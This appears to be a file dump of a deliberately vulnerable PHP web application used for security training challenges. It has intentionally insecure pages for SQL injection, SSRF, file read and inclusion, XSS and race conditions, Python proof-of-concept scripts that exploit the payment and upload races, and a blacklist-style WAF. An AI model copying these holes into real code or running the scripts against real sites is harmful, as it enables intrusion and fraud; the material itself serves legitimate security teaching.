.prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide("next")},b.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},b.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}if(e.hasClass("active"))return this.sliding=!1;var j=a.Event("slide.bs.carousel",{relatedTarget:e[0],direction:g});return this.$element.trigger(j),j.isDefaultPrevented()?void 0:(this.sliding=!0,f&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")})),a.support.transition&&this.$element.hasClass("slide")?(e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1e3*d.css("transition-duration").slice(0,-1))):(d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),f&&this.cycle(),this)};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c),g="string"==typeof c?c:f.slide;e||d.data("bs.carousel",e=new b(this,f)),"number"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(b){var c,d=a(this),e=a(d.attr("data-target")||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),d.data()),g=d.attr("data-slide-to");g&&(f.interval=!1),e.carousel(f),(g=d.attr("data-slide-to"))&&e.data("bs.carousel").to(g),b.preventDefault()}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var b=a(this);b.carousel(b.data())})})}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b=a.Event("show.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find("> .panel > .in");if(c&&c.length){var d=c.data("bs.collapse");if(d&&d.transitioning)return;c.collapse("hide"),d||c.data("bs.collapse",null)}var e=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass("collapsing").addClass("collapse in")[e]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return f.call(this);var g=a.camelCase(["scroll",e].join("-"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?void this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c);!e&&f.toggle&&"show"==c&&(c=!c),e||d.data("bs.collapse",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(b){var c,d=a(this),e=d.attr("data-target")||b.preventDefault()||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,""),f=a(e),g=f.data("bs.collapse"),h=g?"toggle":d.data(),i=d.attr("data-parent"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent="'+i+'"]').not(d).addClass("collapsed"),d[f.hasClass("in")?"addClass":"removeClass"]("collapsed")),f.collapse(h)})}(jQuery),+function(a){"use strict";function b(b){a(d).remove(),a(e).each(function(){var d=c(a(this)),e={relatedTarget:this};d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown",e)),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown",e))})}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=".dropdown-backdrop",e="[data-toggle=dropdown]",f=function(b){a(b).on("click.bs.dropdown",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(''}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof c&&c;(e||"destroy"!=c)&&(e||d.data("bs.popover",e=new b(this,f)),"string"==typeof c&&e[c]())})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(jQuery),+function(a){"use strict";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(a(c).is("body")?window:c),this.$body=a("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?"offset":"position";this.offsets=a([]),this.targets=a([]);{var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})}},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);if(g&&b<=e[0])return g!=(a=f[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(jQuery),+function(a){"use strict";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a")[0],f=a.Event("show.bs.tab",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent("li"),c),this.activate(g,g.parent(),function(){b.trigger({type:"shown.bs.tab",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),g?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var f=c.find("> .active"),g=d&&a.support.transition&&f.hasClass("fade");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass("in")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new b(this)),"string"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(jQuery),+function(a){"use strict";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};b.RESET="affix affix-top affix-bottom",b.DEFAULTS={offset:0},b.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(b.RESET).addClass("affix");var a=this.$window.scrollTop(),c=this.$element.offset();return this.pinnedOffset=c.top-a},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(":visible")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;"top"==this.affixed&&(e.top+=d),"object"!=typeof f&&(h=g=f),"function"==typeof g&&(g=f.top(this.$element)),"function"==typeof h&&(h=f.bottom(this.$element));var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?"bottom":null!=g&&g>=d?"top":!1;if(this.affixed!==i){this.unpin&&this.$element.css("top","");var j="affix"+(i?"-"+i:""),k=a.Event(j+".bs.affix");this.$element.trigger(k),k.isDefaultPrevented()||(this.affixed=i,this.unpin="bottom"==i?this.getPinnedOffset():null,this.$element.removeClass(b.RESET).addClass(j).trigger(a.Event(j.replace("affix","affixed"))),"bottom"==i&&this.$element.offset({top:c-h-this.$element.height()}))}}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof c&&c;e||d.data("bs.affix",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(jQuery); -------------------------------------------------------------------------------- /bug/js/bootswatch.js: -------------------------------------------------------------------------------- 1 | $('[data-toggle="tooltip"]').tooltip(); -------------------------------------------------------------------------------- /bug/js/bsa.js: -------------------------------------------------------------------------------- 1 | (function(){ 2 | var bsa = document.createElement('script'); 3 | bsa.type = 'text/javascript'; 4 | bsa.async = true; 5 | bsa.src = 'http://s3.buysellads.com/ac/bsa.js'; 6 | (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa); 7 | })(); 8 | -------------------------------------------------------------------------------- /bug/others/baopo.php: -------------------------------------------------------------------------------- 1 | 23 | 密码正确 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 请输入密码 33 | 40 | 62 |
63 |
64 |
输入查看密码 65 | 66 |
67 | 68 |
69 |
70 | 72 | 73 | -------------------------------------------------------------------------------- /bug/others/file_read.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | bugku - FileRead 6 | 7 | 8 | con_html(); 14 | if (isset($_REQUEST['submit'])) { 15 | $filename = $_REQUEST['filename']; 16 | if (file_exists($filename)) { 17 | echo htmlspecialchars($p -> con_function('file_get_contents',$filename)); 18 | }else{ 19 | echo "DoraBox Error: file not exists."; 20 | } 21 | } 22 | ?> 23 | 24 | 25 |
26 |
27 |
28 |
29 | -------------------------------------------------------------------------------- /bug/php/code.php: -------------------------------------------------------------------------------- 1 | 2 | 13 | 14 | $num=$_GET['num'];
15 | if(!is_numeric($num))
16 | {
17 | echo $num;
18 | if($num==1)
19 | echo 'flag{**********}';
20 | }
21 |
-------------------------------------------------------------------------------- /bug/php/md5.php: -------------------------------------------------------------------------------- 1 | '; 12 | echo 'flag{挑战成功}'; 13 | } 14 | 15 | ?> 16 | 17 | -------------------------------------------------------------------------------- /bug/phpinput/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bug/phpinput/phpinfo.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bug/race_condition/key.php: -------------------------------------------------------------------------------- 1 | '); ?> 2 | -------------------------------------------------------------------------------- /bug/race_condition/pay.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 支付页面 6 | 7 | 8 | query($sql)->fetch_assoc()['rest']); 15 | $sql = "SELECT own FROM account"; 16 | $own = intval($db->query($sql)->fetch_assoc()['own']); 17 | echo " 18 |
19 | 余额:{$rest}元 20 |
21 | 支付元获得1000QB
22 |
23 | 系统现在有{$own}元 24 |
25 | "; 26 | if ($_POST){ 27 | $money = intval($_POST['money']); 28 | if($money <= $rest) { 29 | $sql = "UPDATE account SET rest=rest-".$money; 30 | $db->query($sql); 31 | $sql = "UPDATE account SET own=own+".$money; 32 | $db->query($sql); 33 | echo ""; 34 | } else { 35 | echo "支付失败,可能是因为您的余额不足。"; 36 | } 37 | } 38 | ?> 39 | 40 | 41 |
42 |
43 |
44 |
45 | -------------------------------------------------------------------------------- /bug/race_condition/pay_poc.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import Queue 4 | 5 | url = "url" 6 | threads = 25 7 | q = Queue.Queue() 8 | 9 | for i in range(50): 10 | q.put(i) 11 | 12 | def post(): 13 | while not q.empty(): 14 | q.get() 15 | r = requests.post(url, data={'money': 1}) 16 | print(r.text) 17 | 18 | if __name__ == '__main__': 19 | for i in range(threads): 20 | t = threading.Thread(target=post) 21 | t.start() 22 | 23 | for i in range(threads): 24 | t.join() 25 | -------------------------------------------------------------------------------- /bug/race_condition/upload.php: -------------------------------------------------------------------------------- 1 | "; 18 | 19 | if ($_FILES['myfile']['error'] > 0){ 20 | unlink($newfile); 21 | die("Upload file error: "); 22 | } 23 | 24 | $ext = array_pop(explode(".",$_FILES['myfile']['name'])); 25 | if (!in_array($ext,$allowtype)){ 26 | unlink($newfile); 27 | die("error:upload the file type is not allowed,delete the file!"); 28 | } 29 | ?> 30 | -------------------------------------------------------------------------------- /bug/race_condition/upload_poc.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import os 4 | 5 | class RaceCondition(threading.Thread): 6 | def __init__(self): 7 | threading.Thread.__init__(self) 8 | 9 | self.url = 'http://.../key.php' #上传的文件地址 10 | self.uploadUrl = 'http://.../upload.php' #上传文件的地址 11 | 12 | def _get(self): 13 | print('try to call uploaded file...') 14 | r = requests.get(self.url) 15 | if r.status_code == 200: 16 | print('[*] create file info.php success.') 17 | os._exit(0) 18 | 19 | def _upload(self): 20 | print('upload file...') 21 | file = {'myfile': open('key.php', 'r')} #本地脚本木马 22 | requests.post(self.uploadUrl, files=file) 23 | 24 | def run(self): 25 | while True: 26 | for i in range(5): 27 | self._get() 28 | 29 | for i in range(10): 30 | self._upload() 31 | self._get() 32 | 33 | if __name__ == '__main__': 34 | threads = 50 35 | 36 | for i in range(threads): 37 | t = RaceCondition() 38 | t.start() 39 | 40 | for i in range(threads): 41 | t.join() 42 | -------------------------------------------------------------------------------- /bug/race_condition/uploads/test.txt: -------------------------------------------------------------------------------- 1 | test 2 | -------------------------------------------------------------------------------- /bug/sql_injection/sql_num.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - sql数字型注入 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 19 | if (isset($_REQUEST['submit'])) { 20 | $id = empty($_REQUEST['id']) ? 1 : $_REQUEST['id']; 21 | $row = $p -> con_mysql("news","id",$id,"num"); 22 | $id = htmlspecialchars($id); 23 | echo "
SQLi语句:SELECT * FROM news WHERE id = {$id}"; 24 | echo "
"; 25 | echo "
标题内容
{$row['title']}{$row['content']}
"; 26 | } 27 | ?> 28 | 29 | 30 |
31 |
32 |
33 |
34 | -------------------------------------------------------------------------------- /bug/sql_injection/sql_search.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - sql搜索型注入 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 19 | if (isset($_REQUEST['submit'])) { 20 | $content = empty($_REQUEST['content']) ? "is" : $_REQUEST['content']; 21 | $row = $p -> con_mysql("news","content",$content,"search"); 22 | $content = htmlspecialchars($content); 23 | echo "
SQLi语句:SELECT * FROM news WHERE content like '%$content%'"; 24 | echo "
"; 25 | echo "
标题内容
{$row['title']}{$row['content']}
"; 26 | } 27 | ?> 28 | 29 | 30 |
31 |
32 |
33 |
34 | -------------------------------------------------------------------------------- /bug/sql_injection/sql_string.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - sql字符型注入 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 19 | if (isset($_REQUEST['submit'])) { 20 | $title = empty($_REQUEST['title']) ? "Bugku" : $_REQUEST['title']; 21 | $row = $p -> con_mysql("news","title",$title,"string"); 22 | $title = htmlspecialchars($title); 23 | echo "
SQLi语句:SELECT * FROM news WHERE title='{$title}'"; 24 | echo "
"; 25 | echo "
标题内容
{$row['title']}{$row['content']}
"; 26 | } 27 | ?> 28 | 29 | 30 |
31 |
32 |
33 |
34 | -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/home.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |
5 |

Search by Itemcode or use search option 6 |

7 |
8 | 9 |
"; 26 | echo "
"; 27 | echo "
"; 28 | echo "

"; 29 | echo "
"; 30 | $item = isset($_POST['item']) ? $_POST['item'] : ''; 31 | $search = isset($_POST['search']) ? $_POST['search'] : ''; 32 | $isSearch = false; 33 | if(($item!="") && $search!=""){ 34 | echo "
"; 37 | }else if($item){ 38 | $sql = "select * from caffaine where itemid = ".$item; 39 | $result = mysql_query($sql); 40 | $rowcount = @mysql_numrows($result); # this avoid errors cause by sql attacks 41 | if($rowcount>0){ 42 | $isSearch = true; 43 | } 44 | }else if($search){ 45 | $sql = "SELECT * FROM caffaine WHERE itemname LIKE '%" . $search . "%' OR itemdesc LIKE '%" . $search . "%' OR categ LIKE '%" . $search . "%'"; 46 | $result = mysql_query($sql); 47 | $rowcount = @mysql_numrows($result); # this avoid errors cause by sql attacks 48 | if($rowcount>0){ 49 | $isSearch = true; 50 | } 51 | } 52 | if($isSearch){ 53 | echo ""; 54 | while($rows = mysql_fetch_array($result)){ 55 | echo ""; 56 | echo ""; 57 | echo ""; 58 | echo ""; 59 | echo ""; 60 | echo ""; 61 | } 62 | echo "
Item Code : ".$rows['itemcode']."  Description : ".$rows['itemdesc']."
Item Name : ".$rows['itemname']."
Category : ".$rows['categ']."
Price : ".$rows['price']."$

"; 63 | } 64 | 65 | ?> 66 | 67 |
68 |
69 | View Code 70 |
71 |
72 |
73 | 74 | 75 | -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA0987.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA0987.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA1672.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA1672.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA3671.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA3671.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA3876.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA3876.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA4276.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA4276.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA4589.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA4589.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA5642.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA5642.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA7569.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA7569.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA7619.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA7619.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/img/XVWA9680.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/sql_injection/sqli_blind/img/XVWA9680.png -------------------------------------------------------------------------------- /bug/sql_injection/sqli_blind/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | sql盲注 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 |
27 | 28 | 29 | 30 |
31 | 32 | 36 | 37 |
38 | 39 |
40 | 41 |
42 | 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /bug/ssrf/ssrf.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - ssrf 6 | 7 | 8 | con_html(); 14 | if (isset($_REQUEST['submit'])) { 15 | $url = $_REQUEST['url']; 16 | echo $p -> con_function('file_get_contents',$url); 17 | } 18 | ?> 19 | 20 | 21 |
22 |
23 |
24 |
25 | -------------------------------------------------------------------------------- /bug/xieyi/data/index.php: -------------------------------------------------------------------------------- 1 | 11 | -------------------------------------------------------------------------------- /bug/xieyi/filter/index.php: -------------------------------------------------------------------------------- 1 | 2 | bugku 3 | 4 | click me? no';} 7 | $file=$_GET['file']; 8 | if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ 9 | echo "Oh no!"; 10 | exit(); 11 | } 12 | include($file); 13 | //flag:恭喜你得到答案 14 | 15 | ?> 16 | -------------------------------------------------------------------------------- /bug/xieyi/filter/show.php: -------------------------------------------------------------------------------- 1 | test5 -------------------------------------------------------------------------------- /bug/xieyi/filter/tips.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bug/xieyi/phar1/include.php: -------------------------------------------------------------------------------- 1 | 2 | Tips: the parameter is file! :) 3 | 4 | 5 | =70) 10 | { 11 | echo "

error!

"; 12 | } 13 | else 14 | { 15 | include($file.'.php'); 16 | } 17 | } 18 | ?> 19 | -------------------------------------------------------------------------------- /bug/xieyi/phar1/upload.php: -------------------------------------------------------------------------------- 1 |
file:
3 |
4 | 5 | 26 | -------------------------------------------------------------------------------- /bug/xieyi/phar1/upload/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/bug/xieyi/phar1/upload/1.jpg -------------------------------------------------------------------------------- /bug/xieyi/phar2/flag.txt: -------------------------------------------------------------------------------- 1 | flag{xxxxxxx} -------------------------------------------------------------------------------- /bug/xieyi/phar2/index.php: -------------------------------------------------------------------------------- 1 | 43 | 44 | 45 | 46 | 47 |
48 | 49 | 50 |
51 | 52 | -------------------------------------------------------------------------------- /bug/xss/dom_xss.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - DOM_XSS 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 18 | ?> 19 | 31 | 32 | 33 |
34 |
35 |
36 |
37 | -------------------------------------------------------------------------------- /bug/xss/reflect_xss.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - 反射XSS 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 18 | if (isset($_REQUEST['submit'])) { 19 | $name = $_REQUEST['name']; 20 | echo $p -> con_function('var_dump',$name); 21 | } 22 | ?> 23 | 24 | 25 |
26 |
27 |
28 |
29 | -------------------------------------------------------------------------------- /bug/xss/stored_xss.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Bugku - 存储XSS 6 | 7 | 8 |
9 |
10 |
11 |
12 | con_html(); 18 | if (isset($_REQUEST['submit'])) { 19 | $name = $_REQUEST['name']; 20 | echo $p -> con_function('file_put_contents',__FILE__,$name,FILE_APPEND); 21 | } 22 | ?> 23 | 24 | 25 |
26 |
27 |
28 |
29 | -------------------------------------------------------------------------------- /bwvs_config/sys_config.php: -------------------------------------------------------------------------------- 1 | 30 | -------------------------------------------------------------------------------- /bwvs_config/waf.php: -------------------------------------------------------------------------------- 1 | /i", '', $message); 99 | $message = preg_replace( "/<\/script>/i", '', $message); 100 | $message = preg_replace( "/document/i", '', $message); 101 | $clear_message = preg_replace("/alert/i",'', $message); 102 | return $clear_message; 103 | } 104 | 105 | function XSS_Reg($message) 106 | { 107 | $balck_list = "/(script|iframe|cookie|document|write)/i"; 108 | $clear_message = preg_replace( $balck_list, '', $message); 109 | if(preg_match($balck_list,$clear_message)) 110 | { 111 | $clear_message = XSS_waf2($clear_message); 112 | return $clear_message; 113 | } 114 | return $clear_message; 115 | } 116 | 117 | 118 | 119 | function pass_len($str) 120 | { 121 | $strlen = 1; 122 | $Rlen = strlen($str); 123 | if($Rlen > $strlen) 124 | { 125 | return 1; 126 | } 127 | else 128 | { 129 | return 0; 130 | } 131 | } 132 | 133 | 134 | function is_pic($file_name) 135 | { 136 | $extend =explode("." , $file_name); 137 | $va=count($extend)-1; 138 | echo $extend[$va]; 139 | if ($extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png') { 140 | return 1; 141 | } 142 | else 143 | return 0; 144 | } 145 | 146 | 147 | function not_find($page) 148 | { 149 | include_once('../404.html'); 150 | } 151 | 152 | 153 | 154 | function Quan_NO_Sqlmap($agent) 155 | { 156 | $sqlmap_AG = "/sqlmap/i"; 157 | if(true == preg_match($sqlmap_AG, $agent)){ 158 | return 0; 159 | } 160 | return 1; 161 | } 162 | 163 | function getIP() 164 | { 165 | if (getenv('HTTP_CLIENT_IP')) 166 | { 167 | $ip = getenv('HTTP_CLIENT_IP'); 168 | } 169 | elseif (getenv('HTTP_X_FORWARDED_FOR')) 170 | { 171 | $ip = getenv('HTTP_X_FORWARDED_FOR'); 172 | } 173 | elseif (getenv('HTTP_X_FORWARDED')) 174 | { 175 | $ip = getenv('HTTP_X_FORWARDED'); 176 | } 177 | elseif (getenv('HTTP_FORWARDED_FOR')) 178 | { 179 | $ip = getenv('HTTP_FORWARDED_FOR'); 180 | } 181 | elseif 